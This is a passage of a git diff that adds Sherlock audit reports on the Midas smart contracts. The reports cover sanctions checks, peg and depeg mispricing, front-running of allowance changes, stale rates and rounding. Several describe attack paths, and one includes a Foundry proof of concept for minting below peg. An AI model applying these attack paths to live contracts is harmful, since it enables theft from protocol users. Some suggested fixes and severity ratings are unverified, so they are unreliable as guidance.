+The protocol relies on Chainalysis’s Sanctions List to enforce compliance with sanctions, including those imposed by the European Union. For instance, the EU has imposed "no export to Russia" sanctions, meaning that goods purchased within the EU cannot be exported to Russia. To fully comply with such sanctions, the system should not only enforce sanctions during deposit and withdrawal but also during the transfer of created assets like mTBILL and mBASic.
+
+```solidity
+File: midas-contracts/contracts/mTBILL/mTBILL.sol
+ 82: function _beforeTokenTransfer(
+ 83: address from,
+ 84: address to,
+ 85: uint256 amount
+ 86: ) internal virtual override(ERC20PausableUpgradeable) {
+ 87: if (to != address(0)) {
+ 88: _onlyNotBlacklisted(from);
+ 89: _onlyNotBlacklisted(to); //audit: no sanctioned check
+ 90: }
+ 91:
+ 92: ERC20PausableUpgradeable._beforeTokenTransfer(from, to, amount);
+ 93: }
+```
+
+## Impact
+
+Funds can be sent from a sanctioned entity to a non-sanctioned entity that has previously passed KYC and quickly withdrawn, which may lead to legal issues while also negating the operation of the sanctions feature.
+Failure to fully respect sanctions could expose the protocol to legal complications and fines, leading to financial losses. Additionally, the protocol contradicts its own documentation, which states that such discrepancies between the specification and the code can be reported as issues.
+
+## Code Snippet
+
+[mTBILL.sol:82](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mTBILL/mTBILL.sol#L82-L82)
+
+https://www.consilium.europa.eu/policies/sanctions-against-russia/sanctions-against-russia-explained/#banking
+
+also: "No Russia clause" in document above
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The implemented modifier to check addresses should be used in `_beforeTokenTransfer` function.
+
+```solidity
+onlyNotSanctioned(from);
+onlyNotSanctioned(to);
+```
\ No newline at end of file
diff --git a/141.md b/141.md
new file mode 100644
index 0000000..38e57fc
--- /dev/null
+++ b/141.md
@@ -0,0 +1,55 @@
+Soaring Magenta Alpaca
+
+Medium
+
+# The `_truncate` function does not operate as documented
+
+## Summary
+
+The function `_truncate`, which is documented as converting a value to the specified decimals, does not operate as described. Instead, it always returns a value with 18 decimals.
+
+## Vulnerability Detail
+
+The function `_truncate` is documented to convert a value to the specified decimals precision. However, in practice, the function always returns a value with 18 decimals, contrary to what is indicated in the documentation.
+
+```solidity
+File: midas-contracts/contracts/abstract/ManageableVault.sol
+ 564: /**
+ 565: * @dev convert value to inputted decimals precision //audit
+ 566: * @param value value for format
+ 567: * @param decimals decimals
+ 568: * @return converted amount //audit: always 18 decimals
+ 569: */
+ 570: function _truncate(uint256 value, uint256 decimals)
+ 571: internal
+ 572: pure
+ 573: returns (uint256)
+ 574: {
+ 575: return value.convertFromBase18(decimals).convertToBase18(decimals); //audit: always 18 decimals
+ 576: }
+
+```
+
+## Impact
+
+The function’s behavior does not directly negatively affect the code but contradicts the documentation. It is used correctly according to its actual functionality, but not as per the documentation. This discrepancy between the specification and the code could lead to confusion and is against the guidelines specified in the project's README.
+
+As per the README:
+
+> Product Requirements (Specifications). Please note that discrepancies between the spec and the code can be reported as issues.
+
+And according to Sherlock's rules:
+
+> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.
+
+## Code Snippet
+
+[ManageableVault.sol:570](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L570-L570)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The function's documentation should be updated to reflect its actual behavior.
\ No newline at end of file
diff --git a/142.md b/142.md
new file mode 100644
index 0000000..5d08aaf
--- /dev/null
+++ b/142.md
@@ -0,0 +1,51 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Discrepancy between spec and code: Variation tolerance check does not align with spec.
+
+## Summary
+
+Discrepancy between spec and code: Variation tolerance check does not align with spec.
+
+## Vulnerability Detail
+
+In the [specs](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=b2d81e54f6bc482ea9fbc889bbfec9ff&pm=s), we can see the variance tolerance check should use `<`, but the code uses `<=`.
+
+> The admin will vastly use a “safe” function to process the subscription. if abs(new_rate/old_rate-1) < minting_variation_tolerance, then the minting can happen via the safe function
+
+*Note: Please note even this issue is submitted, I don't think it's valid, and I don't want it to be, as there is no impact whatsoever. This issue is submitted purely because the readme states "Please note that discrepancies between the spec and the code can be reported as issues".*
+
+```solidity
+ function _requireVariationTolerance(uint256 prevPrice, uint256 newPrice)
+ internal
+ view
+ {
+ uint256 priceDif = newPrice >= prevPrice
+ ? newPrice - prevPrice
+ : prevPrice - newPrice;
+
+ uint256 priceDifPercent = (priceDif * ONE_HUNDRED_PERCENT) / prevPrice;
+
+ require(
+@> priceDifPercent <= variationTolerance,
+ "MV: exceed price diviation"
+ );
+ }
+```
+
+## Impact
+
+No impact. Just discrepancy between spec and code.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L559
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Use `<`.
\ No newline at end of file
diff --git a/144.md b/144.md
new file mode 100644
index 0000000..e2924bd
--- /dev/null
+++ b/144.md
@@ -0,0 +1,41 @@
+Atomic Coffee Halibut
+
+Medium
+
+# users has to pay additional fee to redeem remaining assets
+
+### Summary
+
+Remaining mBasis and mTBILL will be locked in redemptionVault if it be less than min redeem amount
+
+### Root Cause
+
+[users cannot redeem remaining assets](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L498)
+
+### Impact
+
+users have to pay aditional deposit instant fee to redeem remaining their assets
+
+### PoC
+
+**Textual PoC:**
+1-Alice deposit 100 usdc and get 100 mTBILL token
+2-Admin sets minAmountRedeem 10 mTBILL
+3-Alice redeem 95 mTBILL and get 98 usdc[redeemInstantFee is 2%]
+4-Alice's remaining mTBILL will be locked til alice deposit again or admin change minAmount
+
+### Mitigation
+remaining value should be check in `RedemptionVault::redeemInstant` and if that is less than user's balance amountMTokenIn be update
+```diff
+@@ -135,6 +135,9 @@ contract RedemptionVault is ManageableVault, IRedemptionVault {
+ {
+ address user = msg.sender;
+
++ if(mToken.balanceOf(user) - amountMTokenIn < minAmount)
++ amountMTokenIn = mToken.balanceOf(user);
++
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+
+```
\ No newline at end of file
diff --git a/145.md b/145.md
new file mode 100644
index 0000000..6d42fd9
--- /dev/null
+++ b/145.md
@@ -0,0 +1,86 @@
+Glamorous Nylon Cobra
+
+Medium
+
+# Race Condition Vulnerability in `changeTokenAllowance` Function of `ManageableVault` Contract
+
+### Summary
+
+A race condition in the `changeTokenAllowance` function of the `ManageableVault contract` will cause an unintended bypass of the allowance limit for token operations as an attacker can front-run the transaction that changes the allowance, utilizing the previous allowance before it's updated. In the protocol, the allowance is used to set a cap on the amount of tokens that can be minted or redeemed, serving as a control mechanism to prevent excessive operations. stored as so in the struct below
+```solidity
+struct TokenConfig {
+ address dataFeed;
+ uint256 fee;
+ uint256 allowance;
+ bool stable;
+}
+```
+ This will leading to potential excess minting or redeeming beyond the intended limits set by the updated allowance.
+
+### Root Cause
+
+In `ManageableVault.sol`, the `adjustTokenAllowance` function
+```solidity
+function changeTokenAllowance(address token, uint256 allowance)
+ external
+ onlyVaultAdmin
+ {
+ _requireTokenExists(token);
+ require(allowance > 0, "MV: zero allowance");
+ tokensConfig[token].allowance = allowance;
+ emit ChangeTokenAllowance(token, msg.sender, allowance);
+ }
+```
+ overwrites the current allowance without considering whether the spender has already utilized it, allowing for a race condition where an attacker can exploit the window between transaction submission and execution to exceed the intended limits by front-running the allowance change transaction.
+
+### Internal pre-conditions
+
+-An attacker monitors the network for transactions that call the `changeTokenAllowance` function.
+-The attacker prepares a transaction to utilize the current allowance before the `changeTokenAllowance` transaction is mined.
+-The attacker's transaction is included in a block before the `changeTokenAllowance` transaction, allowing them to use the previous allowance.
+
+### External pre-conditions
+
+-The Ethereum network's public and transparent nature allows for transaction monitoring and front-running.
+-The attacker has the capability to front-run transactions by offering a higher gas price.
+
+### Attack Path
+
+-The current allowance for a token is set to 1,000,000 units.
+-The contract administrator initiates a transaction to reduce the allowance to 500,000 units to tighten controls.
+-An attacker, monitoring the network, notices the pending transaction and quickly submits a transaction to mint 400,000 tokens, utilizing the current allowance before the change is executed.
+-The attacker's minting transaction is included in a block before the allowance change transaction, allowing them to bypass the new limit.
+-After the allowance change transaction is mined, updating the allowance to 500,000 units, the attacker can then proceed to mint an additional 500,000 tokens, exploiting the updated allowance, resulting in a total of 900,000 tokens minted, which exceeds the intended limit of 500,000 units.
+
+### Impact
+
+Allowance limit an be bypassed
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use implementation similar to openzeppelin SafeERC20 on increasing and decreasing allowance
+```solidity
+function adjustTokenAllowance(address token, int256 delta) external onlyVaultAdmin {
+ _requireTokenExists(token);
+ TokenConfig storage tokenConfig = tokensConfig[token];
+ uint256 newAllowance;
+
+ if (delta > 0) {
+ // Increase allowance
+ newAllowance = tokenConfig.allowance + uint256(delta);
+ require(newAllowance >= tokenConfig.allowance, "MV: overflow");
+ } else {
+ // Decrease allowance
+ require(uint256(-delta) <= tokenConfig.allowance, "MV: underflow");
+ newAllowance = tokenConfig.allowance - uint256(-delta);
+ }
+
+ tokenConfig.allowance = newAllowance;
+ emit ChangeTokenAllowance(token, msg.sender, newAllowance);
+}
+```
+This way limitation set by allowance is enforced.
\ No newline at end of file
diff --git a/146.md b/146.md
new file mode 100644
index 0000000..7685ee4
--- /dev/null
+++ b/146.md
@@ -0,0 +1,61 @@
+Uneven Fuchsia Hedgehog
+
+Medium
+
+# Overly Strict Token Transfer Amount Validation Causes Unnecessary Transaction Failures
+
+
+## Summary
+
+The `_tokenTransferFromUser` function in ManageableVault.sol implements an overly strict check for token transfer amounts, which may cause legitimate transactions to fail unnecessarily. This function is being called in core functions like:
+1. `depositInstant`
+2. `depositRequest`
+3. `depositInstant`
+4. `redeemFiatRequest`
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L393-L407
+
+## Vulnerability Detail
+
+The function converts the input amount from `base 18` to the token's decimals and back, then requires that these conversions result in the exact same amount. This check is too stringent and doesn't account for potential precision loss during conversion, especially for tokens with fewer than 18 decimals.
+
+**Code Snippet**
+```solidity
+ require(
+ amount == transferAmount.convertToBase18(tokenDecimals),
+ "MV: invalid rounding" //@audit this is too stringent as the precision loss might hinder legit tx
+ );
+```
+
+## Impact
+
+This strict check can cause legitimate transactions to fail, particularly for tokens with decimals less than 18. Users may be unable to complete deposits or transfers even when the amounts are valid, leading to a poor user experience and potentially locking funds.
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Instead of requiring an exact match after conversion, implement a tolerance threshold for the difference. This allows for small rounding discrepancies while still preventing significant losses due to precision issues. For example:
+
+```solidity
+function _tokenTransferFromUser(
+ address token,
+ address to,
+ uint256 amount,
+ uint256 tokenDecimals
+) internal {
+ uint256 transferAmount = amount.convertFromBase18(tokenDecimals);
+ uint256 reconvertedAmount = transferAmount.convertToBase18(tokenDecimals);
+
+ require(
+ amount.sub(reconvertedAmount).abs() <= amount.mul(TOLERANCE_THRESHOLD).div(1e18),
+ "MV: rounding exceeds tolerance"
+ );
+
+ IERC20(token).safeTransferFrom(msg.sender, to, transferAmount);
+}
+```
\ No newline at end of file
diff --git a/147.md b/147.md
new file mode 100644
index 0000000..13c75f0
--- /dev/null
+++ b/147.md
@@ -0,0 +1,102 @@
+Sleepy Oily Tardigrade
+
+High
+
+# In `DepositVault::depositInstant` function `MTBILL` tokens are minted even if the rate of stablecoin (USDC) is out of peg range ### Description
+
+## Summary
+In the specification docs, it is explicitly mentioned that `When the token_in is a stablecoin, the minting can only happen if the token_in is within its peg [0.997, 1.003] according to the chainlink oracle`. Whereas this invariant does not hold and `MTBILL` tokens can still be minted even if the rate is below the peg lower bound.
+
+## Vulnerability Detail
+[Source Doc](https://ludicrous-rate-748.notion.site/Users-can-instantly-mint-4ee1189194434b2daa7466ae666035d0)
+[Source Code](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L603C5-L614C6)
+
+I am submitting this report as `High` because in my opinion it breaks the core invariant of the protocol. `MTBILL` is the main pillar of the protocol's tokenomics. If `MTBILL` is minted when it is not supposed to be minted then this could be disastrous.
+
+## Impact
+MtBill tokens will still be minted even if chainlink data feed answer is out of the peg range. An attacker may buy the `MTBILL` tokens when the rate is below peg (suppose at 0.8) and then redeem when the rate is above peg (suppose at 1.2) or even within peg (normalize). This way attacker will be able to realize gain that is not intended.
+
+Although that much variation in the data feed of a pegged token like USDC is not that much likely to happen, but previously we have witnessed a lot of disastrous events occured due to Chainlink oracle malfunction. This way our protocol will become vulnerable and if in any point in time something happens to Chainlink data feed (even for some minutes - because bots are ready to snipe), then this vulnerability could probably be exploited. Eventually protocol will bear this loss.
+
+## Code Snippet
+I have actually written the PoC using Foundry. I am not that much familiar with TS and Hardhat. So please bear with me.
+
+Code
+
+```solidity
+function __deployUSDCMockAggregator() private {
+ usdcAggregatorMock = new AggregatorV3Mock();
+ usdcAggregatorMock.setRoundData(99600000); // 0.996 ==> peg range as mentioned in docs [0.997 - 1.003]
+}
+
+function __buyMtBills() private {
+
+ uint256 investmentAmount = 130_000e18; // USDC amount is mentioned in 18 decimals because of the design of the code
+
+ vm.startBroadcast(WAQAS_KEY);
+ IERC20(USDC).approve(address(mtBillDepositVault),investmentAmount);
+ mtBillDepositVault.depositInstant(USDC, investmentAmount, 0, bytes32(0x00));
+ vm.stopBroadcast();
+}
+
+```
+
+```bash
+Script ran successfully.
+
+== Logs ==
+
+ ==== WATCH LIST ====
+ answer: 996000000000000000
+ Waqas mtBill balance: 25220
+ Tokens receiver USDC balance: 126100
+ Fee receiver USDC balance: 3900
+ ==== WATCH LIST ====
+
+## Setting up 1 EVM.
+
+==========================
+
+Chain 1
+
+Estimated gas price: 2.697350414 gwei
+
+Estimated total gas used for script: 16137991
+
+Estimated amount required: 0.043529816704978274 ETH
+
+==========================
+
+SIMULATION COMPLETE.
+
+```
+
+I hope you guys will be able to reproduce. I can also share the whole `MyScript.sol` when requested.
+
+## Tool used
+Foundry
+
+Manual Review
+Yes
+
+## Recommendation
+Implement the below range check in `ManageableVault::_getTokenRate` function.
+
+```diff
+function _getTokenRate(address dataFeed, bool stable)
+ internal
+ view
+ returns (uint256)
+ {
+ // @dev if dataFeed returns rate, all peg checks passed <=== UNABLE TO FIND ANY PEG CHECK
+ uint256 rate = IDataFeed(dataFeed).getDataInBase18();
+
+-- if (stable) return STABLECOIN_RATE;
+++ if (stable) {
+++ require(rate > minPeg && rate < maxPeg, "Stablecoin rate out of peg range");
+++ return STABLECOIN_RATE;
+++ }
+++ return rate;
+++ }
+
+```
\ No newline at end of file
diff --git a/149.md b/149.md
new file mode 100644
index 0000000..a8c1543
--- /dev/null
+++ b/149.md
@@ -0,0 +1,99 @@
+Uneven Fuchsia Hedgehog
+
+Medium
+
+# Minimum Deposit Check Persist over the cause of a users subsequent deposits
+
+## Summary
+
+The `DepositVault` contract's minimum deposit check for a new deposit persist over a users subsequent deposits unless turned off by an admin which breaks the intended behavior and hinders certain functionalities.
+
+## Relevant links
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L346-L397
+
+## Vulnerability Detail
+
+The key issue here is that the `isFreeFromMinAmount` flag for a user is not automatically set to true after their first successful deposit. This means that the minimum amount check will be performed for every deposit, not just the first one, unless the user has been explicitly exempted using the `isFreeFromMinAmount` in the function call by the `onlyVaultAdmin` as illustrated below;
+
+```solidity
+ if (!isFreeFromMinAmount[userCopy]) { //@audit this isnt toggled to true after first deposit
+ _validateMinAmount(userCopy, mintAmount);
+ }
+```
+
+However, according to the documentation the right implementation will be to only perform this check on a every users first deposit and not the sunsequent deposits, meaning the `isFreeFromMinAmount` boolean should be set to true after every users first deposit, Instead, it applies to all deposits for non-exempted users, which could lead to unexpected restrictions for returning users making smaller subsequent deposits.
+
+This discrepancy between the intended behavior and the actual implementation could cause confusion for users and potentially limit the flexibility of the system for frequent, smaller deposits after the initial threshold is met.
+
+
+## Impact
+
+This vulnerability allows users to make multiple small deposits below the intended minimum amount after their initial deposit. This could lead to:
+
+1. Increased operational costs for the protocol due to processing many small transactions.
+2. Potential economic implications if the minimum deposit amount was set for specific financial reasons.
+
+## POC
+
+```solidity
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ require(amountToken > 0, "DV: invalid amount");
+
+ tokenDecimals = _tokenDecimals(tokenIn);
+
+ _requireTokenExists(tokenIn);
+
+ (uint256 amountInUsd, uint256 tokenInUSDRate) = _convertTokenToUsd(
+ tokenIn,
+ amountToken
+ );
+ tokenAmountInUsd = amountInUsd;
+ tokenInRate = tokenInUSDRate;
+ address userCopy = user;
+
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+ amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+ (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+ );
+ mintAmount = mTokenAmount;
+ tokenOutRate = mTokenRate;
+
+ if (!isFreeFromMinAmount[userCopy]) { //@audit this isnt toggled to true after first deposit
+ _validateMinAmount(userCopy, mintAmount);
+ }
+ require(mintAmount > 0, "DV: invalid mint amount");
+ }
+```
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+
+Implement an automatic exemption mechanism after the first successful deposit. This can be achieved by setting the `isFreeFromMinAmount` flag to true after the first successful deposit, ensuring that the minimum amount check is only performed for the first deposit.
\ No newline at end of file
diff --git a/150.md b/150.md
new file mode 100644
index 0000000..4bab07d
--- /dev/null
+++ b/150.md
@@ -0,0 +1,69 @@
+Tricky Rose Hedgehog
+
+Medium
+
+# [Medium] When approving a Deposit/Redemption request the tokenInRate/tokenOutRate rates are not checked again or updated
+
+## Summary
+
+The chainlink oracle rates are not checked against or updated when approving a request and there will be time passing between making the request and an admin approving it, in which prices can fluctuate and the requested price can become stale, especially if the token to be deposited/redeemed is WBTC or other non-stable token, which can create a big impact on the output amount.
+
+## Vulnerability Detail
+
+When depositing or redeeming, by specification, the stablecoin has to be within [0.997, 1.003] range and if it's a volatile asset like WBTC, the tokenIn/tokenOut rate is calculated from a chainlink oracle.
+When doing an instant deposit/redeem, this happens in the same moment as the request is fulfilled and the requested tokens are minted or redeemed.
+
+Contrary to this, when making a deposit request, the `tokenInRate` rate and respectively `tokenOutRate` rate when making a redemption request are stored in the storage structures for deposit/redeem requests(`mintRequests` and `redeemRequests`). Later on, when an admin decides to accept such request, there is an ability to provide the new mToken rate but the saved tokenIn/tokenOut rates are taken from when the request is made. According to the specification
+
+> - minting can only happen if the token_in is within its peg [0.997, 1.003] according to the chainlink oracle, and we apply 1 stablecoin = 1 USD for the exchange rate. We need to anticipate that we may have to ingest other price feeds on other EVM chains.
+> - When the token_in is not a stablecoin, there is no peg-check, and we use a token_in oracle for the exchange rate.
+
+This should also apply when approving the request
+
+## Impact
+
+There will be time passing between making the request and an admin approving it, in which prices can fluctuate and the requested price can become stale, especially if the token to be deposited/redeemed is WBTC or other non-stable token, which can create a big impact on the output amount or the request will not be approved due to stale prices which can lead to a DDOS for users requesting a deposit/redeem.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L319
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L200
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L332
+
+RedemptionVault.sol #L331-L334
+
+```solidity
+ uint256 amountTokenOutWithoutFee = _truncate(
+ (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+ tokenDecimals
+ );
+```
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L394C1-L397C10
+
+```solidity
+ if (!isFiat) {
+ TokenConfig storage config = tokensConfig[tokenOutCopy];
+ tokenOutRate = _getTokenRate(config.dataFeed, config.stable);
+ }
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L415C9-L422C12
+
+```solidity
+ redeemRequests[requestId] = Request({
+ sender: user,
+ tokenOut: tokenOutCopy,
+ status: RequestStatus.Pending,
+ amountMToken: amountMTokenWithoutFee,
+ mTokenRate: mTokenRate,
+ tokenOutRate: tokenOutRate
+ });
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Check against and update current prices when accepting a deposit/redeem request.
\ No newline at end of file
diff --git a/151.md b/151.md
new file mode 100644
index 0000000..626963f
--- /dev/null
+++ b/151.md
@@ -0,0 +1,55 @@
+Dizzy Coffee Yak
+
+Medium
+
+# MBasisRedemptionVaultWithSwapper will inconsistently apply minimum amount checks, potentially rejecting valid user redemption requests
+
+### Summary
+
+The redundant minimum amount checks for both mBASIS and mTBILL will cause incorrect rejection of valid redemption requests for users as MBasisRedemptionVaultWithSwapper will apply conflicting criteria, leading to discrepancies in request validation, particularly in swap scenarios.
+
+
+### Root Cause
+
+The choice to perform both mBASIS and mTBILL minimum amount checks in the redemption process is a mistake as it fails to recognize that swap cases should ideally be considered redemptions against mTBILL, leading to potential rejection of valid requests in the initial check.
+The first chek will be done here : https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L105 and then in https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L154
+
+### Internal pre-conditions
+
+1. MBasisRedemptionVaultWithSwapper and mTbillRedemptionVault have different minAmount settings
+2. User attempts to redeem an amount that falls between these two minimum amounts
+3. MBasisRedemptionVaultWithSwapper needs to perform a swap to mTBILL for the redemption
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Case 1: Request fails after initial check
+
+1. User calls redeemInstant function in MBasisRedemptionVaultWithSwapper with an amount that passes mBASIS's minAmount check
+2. MBasisRedemptionVaultWithSwapper determines a swap to mTBILL is needed
+3. The swapped amount fails the mTBILL's minAmount check in mTbillRedemptionVault.redeemInstant
+4. The transaction is rejected, despite initially passing the mBASIS check
+
+Case 2: Request fails in the initial request
+
+1. User calls redeemInstant function in MBasisRedemptionVaultWithSwapper with an amount that fails mBASIS's minAmount check
+2. The transaction is rejected in _calcAndValidateRedeem, even if the amount would have been valid for mTBILL redemption after swapping
+3. This rejection occurs despite the fact that swap cases are considered redemptions against mTBILL
+
+Since updates like `_requireAndUpdateLimit` happen on mBASIS only in non swap cases, it might be more apt to do min check should on mTBILL minamount only in swap cases.
+### Impact
+
+The lack of a consistent approach to minimum amount checks across different redemption scenarios leads to unpredictable behavior for users. This inconsistency can result in valid redemption requests being rejected, potentially locking users' funds if they cannot meet the varying criteria. Users may face difficulties in understanding why their transactions are failing, as the success of their redemption depends on factors that are not immediately apparent (such as whether a swap is needed or not).
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement a single, consistent minimum amount check that applies uniformly across all redemption scenarios, regardless of whether a swap is needed or not. Enforcing MBasisRedemptionVaultWithSwapper in RedemptionVault exempt from min amount might be one way.
+
diff --git a/152.md b/152.md
new file mode 100644
index 0000000..6f8caab
--- /dev/null
+++ b/152.md
@@ -0,0 +1,84 @@
+Wonderful Gunmetal Anteater
+
+Medium
+
+# `DepositVault` will allow minting excessive `mToken` to User in case of WBTC Depeg event
+
+### Summary
+
+`DepositVault` will allow minting excessive `mToken` to User in case of WBTC Depeg event.
+
+
+### Root Cause
+
+
+* The `DepositVault` contract relies on the [USD value](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L609) of deposited tokens to calculate the `mintAmount` of `mTokens`.
+
+* The current `DataFeed` implementation fails to account for potential WBTC depegging.
+
+* This flaw in the price feed causes inaccurate `mToken` calculations, potentially allowing users to mint more `mTokens` than they should receive.
+
+As the severe impact clearly falls on the contract in scope, submitting this issue.
+
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+1. `WBTC` depegs from `BTC` from 1:1 ratio, similar to the `USDC` depeg event in March 2023.
+
+
+### Attack Path
+
+
+1. Alice deposits `0.1 WBTC` (worth `$6,000` at the time) using the `depositInstant` function.
+
+2. The `_calcAndValidateDeposit` function calls `_convertTokenToUsd` to determine the token's USD value and the current rate.
+
+3. `_getTokenRate` retrieves the value from Chainlink via `IDataFeed(dataFeed).getDataInBase18()`.
+
+4. The `DataFeed` contract is implemented as follows:
+
+```solidity
+
+ function getDataInBase18() external view returns (uint256 answer) {
+ (, answer) = _getDataInBase18();
+ }
+
+ function _getDataInBase18()
+ private
+ view
+ returns (uint80 roundId, uint256 answer)
+ {
+ uint8 decimals = aggregator.decimals();
+ (uint80 _roundId, int256 _answer, , uint256 updatedAt, ) = aggregator
+ .latestRoundData();
+ require(_answer > 0, "DF: feed is deprecated");
+ require(block.timestamp - updatedAt <= healthyDiff && _answer >= minExpectedAnswer && _answer <= maxExpectedAnswer, "DF: feed is unhealthy");
+ roundId = _roundId;
+ answer = uint256(_answer).convertToBase18(decimals);
+ }
+
+```
+
+5. Since there is no direct `WBTC/USD` Feed available from chainlink on Ethereum and given `DataFeed` uses only 1 feed, it is expected to use `BTC/USD` feed instead.
+
+6. During a WBTC depeg, the `DepositVault` will still receive the unchanged `BTC/USD` value, ignoring the devaluation of `WBTC`.
+
+7. As a result, the `mintAmount` of `mTokens` issued to the user remains inflated, allowing the user to exploit the difference by depositing undervalued WBTC and receiving excessive `mTokens`.
+
+
+### Impact
+
+Depositors will get excessive `mToken` than intended in case of WBTC Depeg.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Straightforward mitigation is to Update the Chainlink retrieval method to use both the [WBTC/BTC Price Feed](https://data.chain.link/feeds/ethereum/mainnet/wbtc-btc) and [BTC/USD Price Feed](https://data.chain.link/feeds/ethereum/mainnet/btc-usd) to derive the accurate `WBTC/USD` price.
\ No newline at end of file
diff --git a/153.md b/153.md
new file mode 100644
index 0000000..c499ead
--- /dev/null
+++ b/153.md
@@ -0,0 +1,62 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# The price deviation might exceed `maxAnswerDeviation` even it is updated through `CustomAggregatorV3CompatibleFeed#setRoundDataSafe()`
+
+## Summary
+The price deviation might exceed `maxAnswerDeviation` even it is updated through `CustomAggregatorV3CompatibleFeed#setRoundDataSafe()`
+## Vulnerability Detail
+[`CustomAggregatorV3CompatibleFeed#setRoundDataSafe()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L108-L115) is used to update the new price safely. The price deviation should not exceed `maxAnswerDeviation`:
+```solidity
+ function setRoundDataSafe(int256 _data) external {
+ if (lastTimestamp() != 0) {
+ uint256 deviation = _getDeviation(lastAnswer(), _data);
+@> require(deviation <= maxAnswerDeviation, "CA: !deviation");
+ }
+
+ return setRoundData(_data);
+ }
+```
+The price deviation is calculated in `_getDeviation()`:
+```solidity
+ function _getDeviation(int256 _lastPrice, int256 _newPrice)
+ internal
+ pure
+ returns (uint256)
+ {
+ if (_newPrice == 0) return 100 * 10**decimals();
+ int256 one = int256(10**decimals());
+ int256 priceDif = _newPrice - _lastPrice;
+ int256 deviation = (priceDif * one * 100) / _lastPrice;
+ deviation = deviation < 0 ? deviation * -1 : deviation;
+ return uint256(deviation);
+ }
+```
+However, the actual price deviation could exceed `maxAnswerDeviation` while `deviation` is same as `maxAnswerDeviation` due to rounding down.
+
+## Impact
+Anyone who mint or redeem mToken might suffer a loss due to incorrect price.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L223-L234
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use rounding correctly:
+```diff
+ function _getDeviation(int256 _lastPrice, int256 _newPrice)
+ internal
+ pure
+ returns (uint256)
+ {
+ if (_newPrice == 0) return 100 * 10**decimals();
+ int256 one = int256(10**decimals());
+ int256 priceDif = _newPrice - _lastPrice;
+- int256 deviation = (priceDif * one * 100) / _lastPrice;
++ int256 deviation = (priceDif * one * 100 + _lastPrice - 1) / _lastPrice;
+ deviation = deviation < 0 ? deviation * -1 : deviation;
+ return uint256(deviation);
+ }
+```
\ No newline at end of file
diff --git a/154.md b/154.md
new file mode 100644
index 0000000..937b310
--- /dev/null
+++ b/154.md
@@ -0,0 +1,25 @@
+Glamorous Nylon Cobra
+
+Medium
+
